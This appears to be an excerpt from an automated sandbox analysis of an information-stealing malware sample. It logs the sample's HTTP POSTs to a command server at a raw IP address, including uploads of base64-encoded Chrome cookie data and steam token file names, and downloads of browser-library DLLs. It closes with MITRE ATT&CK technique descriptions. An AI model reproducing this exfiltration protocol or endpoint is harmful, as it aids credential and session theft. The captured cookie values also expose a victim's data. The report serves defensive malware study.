Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECFHJKEBAAECBFHIECGIHost: 185.215.113.37Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 46 48 4a 4b 45 42 41 41 45 43 42 46 48 49 45 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 61 61 36 31 64 35 33 38 37 32 38 62 39 38 61 38 66 33 39 37 65 38 66 62 37 34 34 62 32 65 35 64 65 33 65 39 33 34 36 63 37 32 65 62 38 38 62 35 62 66 66 32 63 65 61 39 30 35 63 33 32 35 61 35 30 34 63 65 39 39 39 0d 0a 2d 2d 2d 2d 2d 2d 45 43 46 48 4a 4b 45 42 41 41 45 43 42 46 48 49 45 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 46 48 4a 4b 45 42 41 41 45 43 42 46 48 49 45 43 47 49 2d 2d 0d 0a Data Ascii: ------ECFHJKEBAAECBFHIECGIContent-Disposition: form-data; name="token"8aa61d538728b98a8f397e8fb744b2e5de3e9346c72eb88b5bff2cea905c325a504ce999------ECFHJKEBAAECBFHIECGIContent-Disposition: form-data; name="message"plugins------ECFHJKEBAAECBFHIECGI--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKJEHJKJEBGHJJKEBGIEHost: 185.215.113.37Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 61 61 36 31 64 35 33 38 37 32 38 62 39 38 61 38 66 33 39 37 65 38 66 62 37 34 34 62 32 65 35 64 65 33 65 39 33 34 36 63 37 32 65 62 38 38 62 35 62 66 66 32 63 65 61 39 30 35 63 33 32 35 61 35 30 34 63 65 39 39 39 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 45 2d 2d 0d 0a Data Ascii: ------JKJEHJKJEBGHJJKEBGIEContent-Disposition: form-data; name="token"8aa61d538728b98a8f397e8fb744b2e5de3e9346c72eb88b5bff2cea905c325a504ce999------JKJEHJKJEBGHJJKEBGIEContent-Disposition: form-data; name="message"fplugins------JKJEHJKJEBGHJJKEBGIE--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIIIIJDHJEGIECBGHIJEHost: 185.215.113.37Content-Length: 5583Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/sqlite3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGDBFBFCBFBKECAAKJKFHost: 185.215.113.37Content-Length: 751Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 44 42 46 42 46 43 42 46 42 4b 45 43 41 41 4b 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 61 61 36 31 64 35 33 38 37 32 38 62 39 38 61 38 66 33 39 37 65 38 66 62 37 34 34 62 32 65 35 64 65 33 65 39 33 34 36 63 37 32 65 62 38 38 62 35 62 66 66 32 63 65 61 39 30 35 63 33 32 35 61 35 30 34 63 65 39 39 39 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 42 46 42 46 43 42 46 42 4b 45 43 41 41 4b 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 42 46 42 46 43 42 46 42 4b 45 43 41 41 4b 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 56 46 4a 56 52 51 6b 76 43 55 5a 42 54 46 4e 46 43 54 45 32 4f 54 6b 77 4d 54 45 32 4d 54 55 4a 4d 56 42 66 53 6b 46 53 43 54 49 77 4d 6a 4d 74 4d 54 41 74 4d 44 51 74 4d 54 4d 4b 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 52 6b 46 4d 55 30 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 7a 45 79 4d 6a 4d 77 4f 44 45 31 43 55 35 4a 52 41 6b 31 4d 54 45 39 52 57 59 31 64 6c 42 47 52 33 63 74 54 56 70 5a 62 7a 56 6f 64 32 55 74 4d 46 52 6f 51 56 5a 7a 62 47 4a 34 59 6d 31 32 5a 46 5a 61 64 32 4e 49 62 6e 46 57 65 6c 64 49 51 56 55 78 4e 48 59 31 4d 30 31 4f 4d 56 5a 32 64 33 5a 52 63 54 68 69 59 56 6c 6d 5a 7a 49 74 53 55 46 30 63 56 70 43 56 6a 56 4f 54 30 77 31 63 6e 5a 71 4d 6b 35 58 53 58 46 79 65 6a 4d 33 4e 31 56 6f 54 47 52 49 64 45 39 6e 52 53 31 30 53 6d 46 43 62 46 56 43 57 55 70 46 61 48 56 48 63 31 46 6b 63 57 35 70 4d 32 39 55 53 6d 63 77 59 6e 4a 78 64 6a 46 6b 61 6d 52 70 54 45 70 35 64 6c 52 54 56 57 68 6b 53 79 31 6a 4e 55 70 58 59 57 52 44 55 33 4e 56 54 46 42 4d 65 6d 68 54 65 43 31 47 4c 54 5a 33 54 32 63 30 43 67 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 42 46 42 46 43 42 46 42 4b 45 43 41 41 4b 4a 4b 46 2d 2d 0d 0a Data Ascii: ------DGDBFBFCBFBKECAAKJKFContent-Disposition: form-data; name="token"8aa61d538728b98a8f397e8fb744b2e5de3e9346c72eb88b5bff2cea905c325a504ce999------DGDBFBFCBFBKECAAKJKFContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------DGDBFBFCBFBKECAAKJKFContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwMTE2MTUJMVBfSkFSCTIwMjMtMTAtMDQtMTMKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjMwODE1CU5JRAk1MTE9RWY1dlBGR3ctTVpZbzVod2UtMFRoQVZzbGJ4Y
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JECAFHJEGCFCBFIEGCAEHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 43 41 46 48 4a 45 47 43 46 43 42 46 49 45 47 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 61 61 36 31 64 35 33 38 37 32 38 62 39 38 61 38 66 33 39 37 65 38 66 62 37 34 34 62 32 65 35 64 65 33 65 39 33 34 36 63 37 32 65 62 38 38 62 35 62 66 66 32 63 65 61 39 30 35 63 33 32 35 61 35 30 34 63 65 39 39 39 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 43 41 46 48 4a 45 47 43 46 43 42 46 49 45 47 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 43 41 46 48 4a 45 47 43 46 43 42 46 49 45 47 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 43 41 46 48 4a 45 47 43 46 43 42 46 49 45 47 43 41 45 2d 2d 0d 0a Data Ascii: ------JECAFHJEGCFCBFIEGCAEContent-Disposition: form-data; name="token"8aa61d538728b98a8f397e8fb744b2e5de3e9346c72eb88b5bff2cea905c325a504ce999------JECAFHJEGCFCBFIEGCAEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------JECAFHJEGCFCBFIEGCAEContent-Disposition: form-data; name="file"------JECAFHJEGCFCBFIEGCAE--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIIEBAFCBKFIDGCAKKKFHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 49 45 42 41 46 43 42 4b 46 49 44 47 43 41 4b 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 61 61 36 31 64 35 33 38 37 32 38 62 39 38 61 38 66 33 39 37 65 38 66 62 37 34 34 62 32 65 35 64 65 33 65 39 33 34 36 63 37 32 65 62 38 38 62 35 62 66 66 32 63 65 61 39 30 35 63 33 32 35 61 35 30 34 63 65 39 39 39 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 45 42 41 46 43 42 4b 46 49 44 47 43 41 4b 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 45 42 41 46 43 42 4b 46 49 44 47 43 41 4b 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 45 42 41 46 43 42 4b 46 49 44 47 43 41 4b 4b 4b 46 2d 2d 0d 0a Data Ascii: ------HIIEBAFCBKFIDGCAKKKFContent-Disposition: form-data; name="token"8aa61d538728b98a8f397e8fb744b2e5de3e9346c72eb88b5bff2cea905c325a504ce999------HIIEBAFCBKFIDGCAKKKFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------HIIEBAFCBKFIDGCAKKKFContent-Disposition: form-data; name="file"------HIIEBAFCBKFIDGCAKKKF--
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/freebl3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/mozglue.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/msvcp140.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/nss3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/softokn3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBKJJJDHDGDAAKECAKJDHost: 185.215.113.37Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFCBKFHJJJKKFHIDAAKFHost: 185.215.113.37Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 48 49 44 41 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 61 61 36 31 64 35 33 38 37 32 38 62 39 38 61 38 66 33 39 37 65 38 66 62 37 34 34 62 32 65 35 64 65 33 65 39 33 34 36 63 37 32 65 62 38 38 62 35 62 66 66 32 63 65 61 39 30 35 63 33 32 35 61 35 30 34 63 65 39 39 39 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 48 49 44 41 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 48 49 44 41 41 4b 46 2d 2d 0d 0a Data Ascii: ------AFCBKFHJJJKKFHIDAAKFContent-Disposition: form-data; name="token"8aa61d538728b98a8f397e8fb744b2e5de3e9346c72eb88b5bff2cea905c325a504ce999------AFCBKFHJJJKKFHIDAAKFContent-Disposition: form-data; name="message"wallets------AFCBKFHJJJKKFHIDAAKF--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGDBFBFCBFBKECAAKJKFHost: 185.215.113.37Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 44 42 46 42 46 43 42 46 42 4b 45 43 41 41 4b 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 61 61 36 31 64 35 33 38 37 32 38 62 39 38 61 38 66 33 39 37 65 38 66 62 37 34 34 62 32 65 35 64 65 33 65 39 33 34 36 63 37 32 65 62 38 38 62 35 62 66 66 32 63 65 61 39 30 35 63 33 32 35 61 35 30 34 63 65 39 39 39 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 42 46 42 46 43 42 46 42 4b 45 43 41 41 4b 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 42 46 42 46 43 42 46 42 4b 45 43 41 41 4b 4a 4b 46 2d 2d 0d 0a Data Ascii: ------DGDBFBFCBFBKECAAKJKFContent-Disposition: form-data; name="token"8aa61d538728b98a8f397e8fb744b2e5de3e9346c72eb88b5bff2cea905c325a504ce999------DGDBFBFCBFBKECAAKJKFContent-Disposition: form-data; name="message"files------DGDBFBFCBFBKECAAKJKF--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFHDGDGIIDGCFIDHDHDHHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 48 44 47 44 47 49 49 44 47 43 46 49 44 48 44 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 61 61 36 31 64 35 33 38 37 32 38 62 39 38 61 38 66 33 39 37 65 38 66 62 37 34 34 62 32 65 35 64 65 33 65 39 33 34 36 63 37 32 65 62 38 38 62 35 62 66 66 32 63 65 61 39 30 35 63 33 32 35 61 35 30 34 63 65 39 39 39 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 47 44 47 49 49 44 47 43 46 49 44 48 44 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 47 44 47 49 49 44 47 43 46 49 44 48 44 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 47 44 47 49 49 44 47 43 46 49 44 48 44 48 44 48 2d 2d 0d 0a Data Ascii: ------AFHDGDGIIDGCFIDHDHDHContent-Disposition: form-data; name="token"8aa61d538728b98a8f397e8fb744b2e5de3e9346c72eb88b5bff2cea905c325a504ce999------AFHDGDGIIDGCFIDHDHDHContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------AFHDGDGIIDGCFIDHDHDHContent-Disposition: form-data; name="file"------AFHDGDGIIDGCFIDHDHDH--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGDBFBFCBFBKECAAKJKFHost: 185.215.113.37Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 44 42 46 42 46 43 42 46 42 4b 45 43 41 41 4b 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 61 61 36 31 64 35 33 38 37 32 38 62 39 38 61 38 66 33 39 37 65 38 66 62 37 34 34 62 32 65 35 64 65 33 65 39 33 34 36 63 37 32 65 62 38 38 62 35 62 66 66 32 63 65 61 39 30 35 63 33 32 35 61 35 30 34 63 65 39 39 39 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 42 46 42 46 43 42 46 42 4b 45 43 41 41 4b 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 42 46 42 46 43 42 46 42 4b 45 43 41 41 4b 4a 4b 46 2d 2d 0d 0a Data Ascii: ------DGDBFBFCBFBKECAAKJKFContent-Disposition: form-data; name="token"8aa61d538728b98a8f397e8fb744b2e5de3e9346c72eb88b5bff2cea905c325a504ce999------DGDBFBFCBFBKECAAKJKFContent-Disposition: form-data; name="message"ybncbhylepme------DGDBFBFCBFBKECAAKJKF--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBGHCGCAEBFIJKFIDBGHHost: 185.215.113.37Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 42 47 48 43 47 43 41 45 42 46 49 4a 4b 46 49 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 61 61 36 31 64 35 33 38 37 32 38 62 39 38 61 38 66 33 39 37 65 38 66 62 37 34 34 62 32 65 35 64 65 33 65 39 33 34 36 63 37 32 65 62 38 38 62 35 62 66 66 32 63 65 61 39 30 35 63 33 32 35 61 35 30 34 63 65 39 39 39 0d 0a 2d 2d 2d 2d 2d 2d 46 42 47 48 43 47 43 41 45 42 46 49 4a 4b 46 49 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 46 42 47 48 43 47 43 41 45 42 46 49 4a 4b 46 49 44 42 47 48 2d 2d 0d 0a Data Ascii: ------FBGHCGCAEBFIJKFIDBGHContent-Disposition: form-data; name="token"8aa61d538728b98a8f397e8fb744b2e5de3e9346c72eb88b5bff2cea905c325a504ce999------FBGHCGCAEBFIJKFIDBGHContent-Disposition: form-data; name="message"wkkjqaiaxkhb------FBGHCGCAEBFIJKFIDBGH--

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

